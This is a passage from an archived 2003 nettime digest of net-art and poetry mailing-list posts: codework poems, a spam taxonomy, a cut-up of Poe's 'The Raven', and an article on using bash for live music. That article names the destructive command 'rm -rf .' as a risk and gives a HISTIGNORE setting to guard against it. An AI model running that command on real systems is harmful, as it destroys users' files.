LISTSERV.UTORONTO.CA\n\nSubject: [Buyo]_Logical Pop_\n    From: \"][Buyo][Logical\" <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org,\n\nSubject: SOLITARY VICE\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: POETICS {AT} LISTSERV.BUFFALO.EDU\n\nSubject: Re:  |   || \" || 6-3-2003-14:58 |_| 211141 5\" || |\n    From: spa-am {AT} o-o.lt\n    To: o-o {AT} konf.lt\n\nSubject: diminished composition\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: ANNOUNCING: mez {AT} boringart.com\n    From: \"][mez][\" <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org,audiovision {AT} egroups.com\n\nSubject: Re:PLY [[_arct.hive_aLL] piece.inc musicField]\n    From: a u t u m n - f r e q u e n c y  <star.power {AT} usa.net>\n    To: <_arc.hive_ {AT} lm.va.com.au>\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 9 Mar 2003 00:55:56 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200303091212.h29CCh117956 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0303/msg00037.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 37"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00009",
                "content": "\n\n\n\nDate: Sat, 22 Feb 2003 22:50:41 -0500\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: BOASTS AND SHAMES\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nBOASTS AND SHAMES\n\n\ni am one of the best writers in the world. i am working on an entirely new\nmode of writing. my writing is the most intense in the world. it is a com-\npletely new direction for political discourse. it will be years before i\nam recognized.  long after i am dead my writing will be read. new audien-\nces will discover new ways of reading my work. my work is not recognized\nas poetry, fiction, non-fiction, net-art, non-fiction, or codework. i am\nnot recognized as the last romantic or the first harbinger of the future\nof all culture. i will be recognized as all of these. scholars will search\nthrough net archives, print sources, remnants of film, video, recordings,\nfor the slightest trace of my work. my work will be attributed to others.\nthere will be academic journals devoted to my work, and reputations will\nrise and fall based on competing hypotheses. my works will be searched for\nclues of identity, madness, influence, primogeniture. and i am ashamed of\nthis. i am ashamed for my contemporaries who find me arrogant, crazy,\ndismissive, depressive, hysteric, obscene, furious, a nuisance, a pest,\nuseless, demanding, hyperbolic, obsessive, full of myself, elitist, vile -\na bad writer, a writer with too much writing - a non-writer - a videomaker\nwith too much video, filmmaker with too much film - an obscene organist, a\nmanic fake... i am ashamed for myself, who can only plead guilty to these\ncharges, these horrendous accusations. i am ashamed for our country, which\nrefuses me the honors i deserve. my work is subject to misunderstanding;\nit requires patience that no one has and no one wants to give. i am\nashamed that i will no longer be alive when, in the troubling and far-\ndistant future, my work is rediscovered, for its insights, genius, range,\nand all-encompassing worlds of philosophy, psychology, literature, and\nfields not yet discovered. and i am ashamed that i must admit to this\ntruth, still so early in my career.\n\n\n===\n\n\n\nDate:         Mon, 24 Feb 2003 00:23:52 -0000\nFrom: pixel <p.ixel {AT} NTLWORLD.COM>\nSubject: hello\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\n=20\nh?v)] (=E5 nuth' from Teut-(ep[A.-S. trinken)] hebban. Icel. an=20\n\n. G. other) [from Teut, habban (ep. Dut. hebban. . G. ) [A.-S other (AN, =\nOTHER)] nuth' er)\n\nfrom Teut, [A.-S drincan)] perh. L. , G. . L. hab?)] [A.-S. an(=E5 =\nOTHER)] from Teut) ) [drenk (h?v) [. G. [A.-S. an other, OTHER(=E5 A.-S. =\nan other ((=E5 an . G. nuth' er)\n\n )]\n\n-(nuth' er drincan, from Teut, and perh. L. hab?)] G. haben, (AN, [A.-S. =\n(ep. Dut. (ep. Dut. hebban. Icel hebban. Icel other (AN, OTHER)] from =\nTeut, drenk-( .\n\n G. Icel. Hafa. [A.-S. (ep. (=E5 n other\n\n-(ep. Hafa. nuth'=20\n\ner)=20\n\n(drink) [A.-S\n\n\n\n\n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au,webartery {AT} yahoogroups.com\nFrom: mez <netwurker {AT} hotkey.net.au>\nDate: Wed, 26 Feb 2003 22:51:11 +1100\nSubject: Definitions of SPAM\n\nDefinitions of SPAM\n\nWhite Spam (common definition) messages that look like created by\ncomputer programs. The receiver has the feeling he is not dealing with\na human. Cold communication, but communication.\n\nPink Spam (common definition) spam that uses a human output. Spam that\ngives the receiver a feeling a real human is communicating something\npersonally. In the end the writer (=sender) always wants something\n(=money).\n\nRed Spam (common definition) messages that plead for a cause, mostly\nsend out by activists.\n\nBrown Spam (common definition) Simple messages that target in\nmost cases human shortcommings, how to loose weight, viagra, penis or\nbreast enlargement, etc.\n\nBlack Spam (common definition) Spam that doesn't communicate, a good\nexample is chinese messages send to people from countries that use\ndifferent characters.\n\n\n \n.           .    ....         .....\n\nwww.cddc.vt.edu/host/netwurker/\nhttp://www.hotkey.net.au/~netwurker/\n\n.... .        <left_field.ism.     >\n\n\n \n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ \n\n\n\n\n\nTo: webartery <webartery {AT} yahoogroups.com>\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nDate: Tue, 25 Feb 2003 20:01:50 -0500 (EST)\nSubject: Re:  The Digital Writer\n\n\n\nI've written smaller essays throughout my work on this. Code itself, as\nfar as I'm concerned, is neutral, or almost neutral. The 'hello world'\nbeginning programs in various languages print out 'hello world' when run -\nthey illustrate part of the program shell. But suppose you have a line\nreading something like 'i\\'m burning alive - this is for real' - the\nline's obtrusive, carries meaning through the code. I use code for two\nthings - as a background process/catalyst for the text, and as a\nforegrounding to indicate the history and urgency of the text - as well as\nits substructure, which has to be overcome - i.e. the formal aspects have\nto retreat to the background, to be seen as scaffolding, carrying the\nforegrounded message.\n\nAlan\n\nOn Tue, 25 Feb 2003, Yvonne Martinsson wrote:\n\n> >I'm most concerned with\n> > meaning - with the psychology, philosophy, emotion, intensity, political\n> > positioning, that comes through my work - code is an attribute, a means -\n> > if my work lacks this sort of content, it's nothing - Alan\n>\n> Hi Alan, i'm interested in knowing what you mean by \"code is an attribute, a\n> means\". Does it carry meaning? If so, in what way(s)? If you've written\n> something about this, could you give me a link?\n>\n> -- yvonne\n>\n>\n>\n>\n>\n>\n> Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/\n>\n>\n\nhttp://www.asondheim.org/ http://www.asondheim.org/portal/\nhttp://www.anu.edu.au/english/internet_txt\nolder http://lists.village.virginia.edu/~spoons/internet_txt.html\nTrace projects http://trace.ntu.ac.uk/writers/sondheim/index.htm\n\n \n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ \n\n\n\n\n\nTo: \"Webartery {AT} Yahoogroups. Com\" <webartery {AT} yahoogroups.com>\nFrom: \"Jim Andrews\" <jim {AT} vispo.com>\nDate: Mon, 24 Feb 2003 02:35:13 -0500\nSubject: sketch\n\n\n'sample'\n\nhereisalittlesamplestringforyourpleasure \n     123     456789     a     b     c    \n\n'tiles'\n\nturnoverasfewtilesasyoucan \n    1   32   84567    9    \n\n'moma'\n\nthewordmomaisalittlebitdifferent \n   1   2345   6   7   8   9   a  \n\n'salsa'\n\nthewordsalsaalsohassomerepeatsinit \n    1  65234  78    9    a    b    \n\n\n \n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ \n\n\n\n\n\nTo: webartery {AT} yahoogroups.com\nFrom: mez <netwurker {AT} hotkey.net.au>\nDate: Tue, 25 Feb 2003 10:07:13 +1100\nSubject: resent from cream 12 newsletter\n\n::::::::::::::_____________>\n\n\n/usr/bin/bash as a performative tool    -       Alex Mclean\n\n\nI'm writing this to share some thoughts with those already initiated with the\nbash shell. Those otherwise interested might like to read this\n(http://www.gnu.org/software/bash/bash.html) first. If any parts of this\narticle\nare unclear or you have any questions, please email me (cream {AT} slab.org) and\nI'll\nclarify.\n\nI've probably spent more time at a bash prompt than I have in any other place\napart from bed. It's my primary computer interface; it's part of most of my\ndaily tasks and rituals. I do use a GUI windowing environment, but still find\nmyself typing far more than clicking.\n\nSo what do I perform with bash? I make music with self-written Perl scripts,\nthat synchronise, play sounds and control synthesis parameters via a central\nserver. Some of these scripts are interactive and some aren't, and so a great\ndeal of the performance is controlled from the command line, starting sets of\nscripts with particular parameters and then choosing the right moment to kill\nthem.\n\nTyping long, textual commands seems like a slow and inexpressive way to make\nlive music. However I find this much faster than using a mouse, and more\nexpressive than using a guitar; but then, I'm a fast typist and am not much\ngood\nat playing the guitar. I also know a few handy bash shortcuts...\n\nSo lets cut to the meat. Here's how I use the bash prompt.\n\n\n^n ^p ^b ^f ^a ^e\n\nThese are navigation control keys, in fact the first four are simple aliases\nfor the arrow keys; down, up, left and right respectively. These are keys I\nneed\nall the time but are located far away from the 'home keys'. You only save a\nfraction of a second by hitting ^b rather than left-arrow, but in my opinion\nshaving all these fractions is what turns you into a bash prompt maestro.\n\n\n^r\n\nControl and r is perhaps my most used performative expression. It lets you\ndo a\nreverse search through your entire command history. So if I want to find a\ncommand I ran at a gig a couple of weeks or months ago, I can, with a few\nkey-presses. This is great, because I have no memory of my own.\n\nThere's a problem with this; you might accidentally re-run that dodgy 'rm -rf\n.' command and delete all your files. You can pop the following HISTIGNORE\nenvironment variable in your .bash_profile to stop this from happening, and\nwhile you're there, why not drop in a HISTSIZE variable to keep your\nhistory for\nlonger:\n\nHISTIGNORE=\"rm *\"\nHISTSIZE=\"2048\"\nexport HISTIGNORE HISTSIZE\n\n\ntab completion\n\nAnother shell shortcut under-used by many; tab completion! Most know that when\nyou type the first few characters of a command, file or directory name and\nthen\npress tab, the shell fills in the rest of the for you. But! It doesn't just\napply to filenames... Bash now has 'programmable completion', meaning that it\nwill now complete hostnames, process names, usernames, etc, etc... Download a\nconfig file from here (http://www.caliban.org/bash/index.shtml#completion) and\nweep with joy!\n\n\nthe last bit\n\nWell, those are the most important bash keystrokes I use. When performing I\ntend to end up with a lot of processes all over a mess of xterms, all with\nvarious processes running in the background. So I end up using 'ps -wux' and\n'kill' a lot to list and kill my processes. People seem to enjoy watching me\nscrabble around, flicking through xterms running obtuse homemade curses\ninterfaces. Hopefully it's not too distracting everyone from the music\nitself...\n\nAlthough it tends to come as default with Linux based systems, 'bash' is by no\nmeans the only Unix shell. For example 'zsh' is well loved among its loyal fan\nbase. So have a look around, but whatever shell you opt for and whatever Unix\nart you are creating, check out the man pages and you might find some\nwonderful\nshortcuts to command prompt heaven.\n\n\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==--=-=-=-=-=-=-=-=-==-==-=-=-=\nalex mclean is a member of the state51 conspiracy\n(http://state51.co.uk), one half of the technopop combo slub\n(http://slub.org) and founder of the slaboratory (http://slab.org).\n-=-===-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--\n \n.           .    ....         .....\n\nwww.cddc.vt.edu/host/netwurker/\n\n.... .               .???  .......\n\n\n \n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ \n\n\n\n\n\nTo: <webartery {AT} yahoogroups.com>\nFrom: \"Joel Weishaus\" <weishaus {AT} pdx.edu>\nDate: Sun, 22 Sep 2002 08:29:26 -0700\nSubject: Re:  The next n(l)ight and day...\n\n\nExcellent Mez.\n\nLet me add that, like all real philosophers, Derrida sits on a bench, not a\nchair. He had a collapsible (deconstructable) one made, as he travels so\nmuch between Paris and the rest of the world. The bench came with pigeon\ndroppings, a sign of respect, as they mark where the pigeons didn't shit on\nhis head.\n\n-Joel\n\n----- Original Message -----\nFrom: \"][co][De][e][p.rivation\" <netwurker {AT} hotkey.net.au>\nTo: <webartery {AT} yahoogroups.com>\nSent: Monday, July 29, 2002 5:33 PM\nSubject: Re: [webartery] The next n(l)ight and day...\n\n\n> At 08:47 AM 7/29/2002 -0700, you wrote:\n>\n> >The next night and day I chanted Mez][zzzzz][ until my torque was\nbuzzing,\n> >finally convoluting into gertrude ][wittengen][stein.isms. I yoked in2\nthe\n> >derrida.sitting.position, in2 the meat of my monitor in which disinterred\n> >filaments were seizuring past and pineal glands x.panded &\n> >con][sub][tracted like in the Schlock Video Market. Now I knew that Bill\n> >Blake is no][t][ avuncular, that someday his get::end words would be\n> >visionary again. I also knew that Mez is a meta.formal, in the habit of\n> >pocketing matter sombered with ][dawning][form. \"Can this be true?\" I\n> >thought, drunk with the (de)light of growing Or.ganisms. There were no\n> >more cells to cre][che][.(mut)ate, no joints to pick. I licked my monitor\n> >casing and returned 2 the whorls.\n> >\n> >-Jo][m][e][zzzzz][l\n> >\n>\n>\n>\n>\n>\n> .           .    ....         .....\n> collapsing adj[thr]usting.txt\n> .\n> .\n> ][co][De][e][p.rivation\n> www.cddc.vt.edu/host/netwurker/\n> http://www.macros-center.ru/read_me/inexen.htm#re\n> .... .               .???  .......\n>\n>\n>\n>\n> Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/\n>\n>\n\n\n \n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ \n\n\n\n\n\n\nDate:         Tue, 25 Feb 2003 09:35:04 -0000\nFrom: pixel <p.ixel {AT} NTLWORLD.COM>\nSubject: kid\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\ns    p =20\n\n\n         a                 c                         e h\n\no\n      pp                                e   r           love             =\n         l              y\n\n\nl             o                       ok                      a          =\n      me o\n                                                                         =\n      t\n\nn                    my                o          e                  ly  =\n                 l    o   e                                        =20\n                                            l        v                   =\n                                  v =20\n\nl         y               =20\n                                   s                                 p   =\n         a                                                       c\n\n\n             e\n\n\n\n               o                      p  p   e                           =\n                  =20\n            h\n\n                                                                         =\n                               r\n                                                                         =\n                        e\n\n\n\n\n\n\n\nDate: Mon, 24 Feb 2003 13:56:59 -0800\nFrom: MWP <mpalmer {AT} JPS.NET>\nTo: POETICS {AT} LISTSERV.BUFFALO.EDU\nSubject: TAPP/ING Poe's The Raven (For M Blanchot, on the day of his death)\n\nTAPP/ING Poe's The Raven (For M Blanchot, on the day of his death) :\n\n\n/NAPP/ING,/\n\n    A/H, D/ISTI/NCTL/Y I /WISH/ED T/O DR/EAM /BEFO/RE. /\n\n\n\n    /MUCH/ I M/UTTE/R, W/HEN,/ WHA/T TH/E RA/VEN /THAT/ GOD/ HAT/H\nSE/PARA/TE D/YING/ EMB/ER W/HOM /THE /ANGE/LS N/AME /LENO/RE -/\n\n    N/OT T/HE L/AMPL/IGHT/'S P/LUTO/NIAN/ SHO/RE! /\n\n\n\n    /=PRO/PHET/ STI/LL I/S SI/TTIN/G\n\n    /EVER/MORE/ THA/T ME/ SEE/ING /LONE/LINE/SS U/NBRO/KEN,/\n\n    A/ND T/HE L/OST /LENO/RE -/\n\n    F/EARI/NG, /DREA/MS N/O MO/RTAL/S EV/ER D/OOR /-\n\n    /TELL/ ME /- TE/LL M/E - /\n\n    TE/LL M/Y FA/NCY /UNTO/ FAN/TAST/IC T/ERRO/RS N/EVER/ DAR/KNES/S\nPE/ERIN/G,\n\n/ DOU/BTIN/G, D/REAM/S NO/W BU/RNED/ INT/O TH/AT N/O LI/NKIN/G WH/AT T/HIS\n/I SA/T DI/VINI/NG, /BIRD/ BEG/UILI/NG M/ORE./\n\n\n\n/ PRE/SS, /AH, /DIST/ANT /MAID/EN W/AS T/HE W/ORD,/ AS /MY H/EAD /AT\nE/NGAG/ED I/NTO /THE /NIGH/T DR/EARY/,\n\n    /WHIL/E I /NODD/ED, /=TAP/PING/, AN/D NO/THIN/ ME /SEE,/ THE/REAT/ING\n/ENTR/EATI/NG E/MBER/ DOO/R; -/\n\n    D/EEP /INTO/ THE/N, W/ITH /MIEN/ OF /PALL/ID B/UST,/ SPO/KEN,/ AND/\nTHE/RE S/TEPP/ED A/BOVE/ MY /SAD /UNCE/RTAI/N\n\n    /BEFO/RE.=/\n\n\n\n/ BUT/ NO /BLAC/K PL/UME /OF F/ORGO/TTEN/ LOR/D OR/ BEA/K FR/OM O/FF M/Y\n\n    /THAT/ ONE/ BUR/DEN /IF, /WITH/ FAN/CY I/NTO /FANC/Y IN/TO S/TILL/NESS/\nBRO/KEN /OF T/HE S/CULP/TURE/D BU/ST, /SPOK/EN, /=NEV/ERMO/RE.=/\n\n\n\n/ AH,/ NEV/ER F/ELT /BEFO/RE; /-\n\n    /PERC/HED,/ AND/ NOT/HING/ OF /EVIL/!\n\n    /LEAV/E MY/ DOO/R!= /\n\n    QU/OTH /THE /RAVE/N, =/NEVE/R FL/ITTI/NG, /\n\n    AN/D MY/ SOU/GHT /FROM/ AN /ECHO/ MUR/MURE/D BA/CK T/HE W/IND\n/NEPE/NTHE/ AND/ RAD/IANT/ MAI/DEN /BORE/\n\n    O/N TH/E TU/FTED/ - N/OT A/ MIN/UTE /STOP/PED /A ST/ATEL/Y RA/PPIN/G AT/\nMY /BOOK/S SU/RE I/ OPE/N HE/ UTT/ERS /IS I/ SAT/ DIV/ININ/G\n\n    /ON T/HE\n\n/ HAT/H SP/OKEN/! - /PROP/HET!/= SA/ID I/, =O/THER/ TEM/PEST/ AND/ TAK/E\nTH/Y FO/WL T/O HE/AR D/ISCO/URSE/ SO /APTL/Y SP/OKEN/ OF /PALL/AS J/UST /OF\nP/ALLA/S JU/ST A/BOVE/ HIS/ CHA/MBER/ DOO/R - /\n\n    SO/ON A/ BUS/T AB/OVE /MY C/HAMB/ER D/OOR /-\n\n    /PERC/HED /UPON/ THE/ RAV/EN S/AD U/NCER/TAIN/\n\n    T/HIS /I WH/EELE/D A /TAPP/ING,/ RAP/PING/, TA/PPIN/G SO/MEWH/AT L/IE\nT/HY S/OUL /FROM/ MY /HEAR/D YO/U= -/ HER/E I /SAT /ENGA/GED /IN G/ILEA/D?\n-/ TEL/L ME/ WHA/T TH/IS G/RIM,/ UNG/AINL/Y,\n\n/ OVE/R MA/DAM,/ TRU/LY, /\n\n    TH/AT O/NE W/ORD,/ =LE/NORE/!\n\n    /BY T/HAT /WORD/ THE/ WHI/SPER/ED W/IDE /THE /SILE/NCE /MADE/ HE;/\n\n    B/Y TH/ESE /ANGE/LS N/AME /A TA/PPIN/G, S/TILL/ IS /DREA/RY, /\n\n    OV/ER M/ANY /A FL/IRT /AND /SAT,/ AND/ STE/PPED/ OR /LADY/, PE/RFUM/ED\nF/LOOR/;\n\n    /SO T/HAT /I SC/ARCE/ WAS/ UNB/ROKE/N, A/ND T/HE O/NLY /FOWL/ WHO/SE\nV/ELVE/T SI/NKIN/G\n\n    /TO T/HE T/UFTE/D FL/OOR./\n\n    =/'TIS/ SOM/E VI/SITO/R,= /SAID/ I, /=WHA/T IT/S GH/OST /LENO/RE -/\n\n    L/EAVE/ MY /DOOR/!=\n\n/ THI/S, A/ND T/HIS /EBON/Y BI/RD B/EGUI/LING/,\n\n    /BUT /THE /DOOR/ -\n\n/ PER/FUME/D FR/OM A/N UN/SEEN/ CEN/SER /\n\n    SW/UNG /THE /SAIN/TED /- NE/VERM/ORE./=\n\n    /QUOT/H TH/E RA/VEN,/ THO/UGH /THY /LORD/ OR /BEAS/T UP/ON T/HE N/IGHT/\nO'E/R,\n\n/ SHE/ SHA/LL C/LASP/ A R/ARE /AND /THE /BEAT/ING /ENTR/EATI/NG O/'ER,/\n\n    B/Y TH/AT G/OD W/E BO/TH A/DORE/ -\n\n/ CLA/SP A/ RAR/E AN/GELS/ HE /DID /OUTP/OUR./\n\n    N/AMEL/ESS /I IM/PLOR/E!= /\n\n    TH/EN T/HE B/UST /OF P/ALLA/S JU/ST A/BOVE/ US /- BY/ THE/E\n\n    /FLOO/R\n\n    /FOLL/OWED/ FAS/TER /SENT/LY M/ORE /-\n\n    /TILL/ BEG/UILI/NG A/T MY/ CHA/MBER/ DOO/R,\n\n/ IN /THAT/ MEL/ANCH/OLY /BURD/EN B/ORE /-\n\n    /WHET/HER /THEN/ HE /WILL/ LEA/VE N/O TO/KEN,/\n\n    =/WRET/CH,=/ I C/RIED/, =T/HING/ OF /THAT/ IS /I WA/S NA/ME L/ENOR/E - /\n\n    NA/MELE/SS H/ERE /I OP/ENED/ WID/E TH/AN M/UTTE/RS I/S IT/ IS,/ AND/\nTHI/S EB/ONY /BIRD/ ABO/VE H/IS C/HAMB/ER D/OOR./\n\n    E/VER /- NE/VERM/ORE./=\n\n    /THIS/, AN/D TH/IS M/YSTE/RY E/YES /HAVE/N, T/HOU,/= I /CRIE/D,\n=/TAPP/ING,/ LON/ELY /MORE/.=\n\n/\n\n    B/UT W/HOSE/ FOO/TFAL/LS T/INKL/ED O/R ST/AYED/\n\n    H/ATH /SPOK/EN W/ANDE/RING/, LO/NG I/ STO/PPED/ A S/AINT/ AND/ NOT/HING/\nMOR/TALS/ EVE/R YE/T WA/S IN/ THE/ FLO/WN\n\n/ BEF/ORE./=\n\n    /\n\n    BU/T WH/OSE /FOOT/FALL/S TI/NKLE/D ON/ THE/E - /RESP/ITE /AND\n/FORG/OTTE/N LO/RE, /AND /THE /ONLY/\n\n    T/ILL /LEAV/E NO/ TOK/EN O/F TH/E CO/UNTE/D, O/N TH/IS H/OPE /THAT/ THE/\nLAM/PLIG/HT G/LOAT/ING /AT M/Y CH/AMBE/R DO/OR, /\n\n    WI/TH S/ENT /AND /NOTH/ING /MY S/OUL /GREW/ DEN/SER,/ PER/CHED/ UPO/N\nTH/E PL/ACID/ BUS/T AN/D OM/INOU/S BI/RD O/R\n\n    /DEVI/L! -/ PRO/PHET/!= S/AID /I, =/SURE/ NO /LIVI/NG H/UMAN/ BEI/NG\n\n/ FAN/CY, /THIN/G OF/ EVI/L! -/\n\n    W/HILE/ I P/ONDE/RING/,\n\n    /AND /AN E/CHO /MURM/URED/ BUS/T, S/POKE/N,\n\n/ IT /WAS\n\n\n\nDate: Thu, 27 Feb 2003 01:24:10 -0800\nFrom: August Highland <hmfah {AT} HOTMAIL.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: 6 poems\n\nabuse\n\n\nu-Gx3Yp3o q-m4f2AMqoN 4-Kcn7 1-GGf9m7My6 l-15WB4MLy h-pcb3Ka C-du P-lx6iLVJ\na-6bBC I-DiXW7m7 F-oueSZ 3-e6j s-yn3 9-vljvV a-dd3GK 7-CxVoGQl 2-Tt\nb-lq6DqhAI N-jtxeH n-OqRPs9a W-xN1DF8Gj6 G-vidjdABDO 7-qoJ6WQ O-1osnRC\nY-Uu7hKRgK 2-fm0w a-vCMc Q-V8a K-LBeuQP8RW 6-f n-0z9RLGjVZ P-l4c3qO\n2-OJBbWcpgE b-Mdy V-gFqi s-qTYDKM5 s-ebU766 s-u d-g5ht8 t-v5hthg G-9wDX\nv-7LVp0Jlq0 q-1l1zDK z-b2BH4r v-N f-qAJTeh7 j-a29RSUf O-lO 0-l d-lbY7\nJ-8jlHoHQbU N-z56 o-P 8-2Z q-dku D-ePVlt9 W-AAFEFPq v-LSo y-MdXySK A-utPmM\nY-b5Bh9 E-wk o-7 k-B68R B-xN5kph D-W6O P-qNW42i h-L4ZwJbs i-KkmsD 8-6\nY-d9JZrGDO D-6AW2 K-1WRS O-JqJaif4 9-Y402 g-Cs m-rlJb1B\n\n-----------\n\nviolate\n\ng-u843 b-`U+GGA !-2A*'J =-T!4 --rEqMg &-gB 4-/^-N N-9>;~c k-QbnS3\" V-QDWW\nU-W,yX5cr }-2:=)<2TG X-8me3z||Nj V-fkxL7*Hx9 %-z|5=P# y-C<e>O#v\n4-6mp|I\"gi }-Ur q->( 7-YEpO> }-AO8Y%1 5--r/dP S-f? (-=2>jS b-<%6 s-:j x-c\nG-8Ces p-n870 #-<bVS)v 5--bKvU --p;Q g-5%A[ f-ym& [-AK0m3 w-l] ~-unHpr\nS-C$,Hht<, O-yv n-805x:` I-Qc# q-9O |-6Jv L-`AtNW# n-k_E\\6]\" [-y?<(M%'*\ny-=Z`|1Vctd R-C `-do\\H[!O2 _-Nc9~ h-u}\\ x-C`=I]&jb j-`E*_TK-E-v`Py\nv-4\"GVM$5r \\-y*QH[7I ;-*$a5`YOf o-]pb0$= +-_]_p;D~& 8-wb X-Hj+Xw\nd-5YU;*eV --rfW~^y o->,vxK W-* J-5(HZJ*y H-v7E% ;-Ucb[#n %-~?[u3#;v\n!-2V {AT} c4{W~ 4-j X-z+0bP M-RHD)hJtW --`gE --NG| I-rfnJ:_G` A-0Yj I-=\nh-ns:}d_uj\\ f-&y g-r.] J-R Y-K}(vKlP  {AT} -?/d8) \\-Jru >-{o &-N/SE)h p-G.\" (-I\n$-OjwVZ j-+Mm` o-W&:+V|Q D-rZe J-9*T8K i-gv9*O;Cl &-wKF\"Lm O-Q(x /-( r-k7l\n\n--------------\n\nvictimize\n\n-ss-7\\*$pi +V}-%<\\|/.mk-D5{)`ld 1zh-s~+ %v%-+\" m]Y-U( +\\.-doDNF\ny>L-/B!\\vW.8_-/b3 qdy-e:Y N0?-et {AT} Ru %^U-.  {AT} J<-TE5q J?9-x*Dg'yj |j:-PPJY7p\nMz4-mRe~ iY3-&amm_8 $Fi-b\"JdyB }dB-0Ze x$c-<^T'X; Hjp-XR'!P rAp-HNrc k]t-BNx\ncDf-VP %x$-`F~{k 'Nr-m};] kuI-[O5LB<\" yW{-R \"ut-.N*=h; <Qw-Y {AT} qx Yz {AT} -_9q\nVos-wv1Wtq 6Oj-{m# wmG-^Xh. KAv-f<]5 ?xW-P_} BP6-Pe5f \"}(-](D 5S^-|P>({:m\ncGu-H CN]-\"awJ2 N?H-]n)L#d ZpS-v* pdU-2P) {AT} Z  {AT} G_-V_L &_l-'` XG\"-WNB e|}-AsZ^\np)Q-hWsIU?( ^5z-F Z.s-_&v#~od SU8-Z<vCru Gim-&) >k/-+n;z6 ;HV-)w~>#\nU?I-\\(io7 qkr-tb <(G-;N4 +ro-Tl-X#;-h(  {AT} Q|--/h},T -`n-h%HZ!ot gpF-= OE`-Tz\no%O-j $=S-).8q\\< ^t[-,x r;r-a; 6cN-<_`m~ Dd_-KGDD^,9r-hvxz^ K&l-A%THp3\nQ67-<emHr< uWK-$ %]!-Cwfpp P<g-ej8<$ 3Ff->0/QK 1jk->+ QE<-n, Ko {AT} -h+ {AT} ze)k\no71-u v\"--7'ikJ +mO-gC3rqu_ f~D-ZSoOc Wd(-/& l2C-y+ JN2-N2#U5X H<&-(+MMl\nu:+-JF' BJ`-1 !0#-,# _Jh-O: Fx\"-T wcX-r* jw~-?G; /E^-.%! >iq-A6v\"2'3 xq\\-T\nhGv-39F 4tb-<$#s7\"n\n\n-------------\n\nexterminate\n\n\nAR!/O~-DI;, }UEVXZ-^IZQ J^|=,O-SFYG -.D{GC->{'L &J&WFX-&Y&B D!K(W$-ICN#\nTC;=OW-!Q}` ^UWN{V-!\\<H #ZD[W|-]O] {AT}  }?'+CY-^)PJ ~B%Y_:-+V~E <'CK$V-P{{F\n+CC;J%-{&&J RIMW/F-M)\\] }!:}GZ-L!<~ OKHG#H-JO# {AT}  JUX(N_-<,K[ =UX<ND-Q:S[\n$\"{N\"*-T^[Q [UOOBH-%LIG J<Y_<]-'?AI $O)\"~D- {AT} :SS #}V~,A-OY&H\nN%CX&_-$]P\\ ]M;G^)-~+RF &R {AT} ,\"U-;]U% ]G%GL`-ZF*X C_E: {AT} G-J_RM ]OF{IQ-*XCT\nI</[!B-DP(. X>|\"TI-PES/H\"_~<&-TJZ-Q[\\O$?-I\\QX *(*|+F-P%X_ EC*Q<$-XZ.)\n~O%CE {AT} -:A,K BGZ(PN-WO~` B-KTO#-{UR% ){(XZF-$IPG Y>D-;H-HW]{ UI;RUU-/QO[\nL;NXV\"-C`|\" /;LKU'-G!ZQ F/LQ_/-Q]C\\ #H;TDA-G?PB WYT(`F-`^%\" _#JE`Z-JJ$K\n~.DZ^G-?VVS >)* {AT} CG-M\"JS !E/B:_-'(<-[]|#_O-/A^^ D%FVB.-+L}* TY>K`%-TQ {AT} L\n\\PTV^\"-L\\]M ??:Y%L-M%AP }.-YS[-VXV} H\\-\\!T-!ED[ C!} {AT} KL-]`/% TQL.O%-P<)=\nE,(:WR-#%*# TK+I;;-{DX} ~M$/H<-KE,-<BS_UT-{&CV :CL<(R-./<# U\\?EH\\-~<#C\n|{{*WP-CA+P <FA=-&-G[KG NU:D.P-:|TX.UI=DX-#;{J \\- {AT} WE!-O)CV\n[;]C\"/->%#=.)E=YD-UNN? \"\\C$=+-(ZV\\ TUB=V_- {AT} XP& -LWJN=-WF\\P ),K!SR-EU=Z\n=GM.FW-< {AT} K' GE\\!A'-:_&T [=Y {AT} /~-,&Q&,FYV*T-,EWR K$!--.-JKWH ^*Q~#U-DJTA\n>\"'%^T-W)L) >,X[O=-LEU_ ?)}-!|-{_~; ;^&ZX~-\"XI-KP {AT} 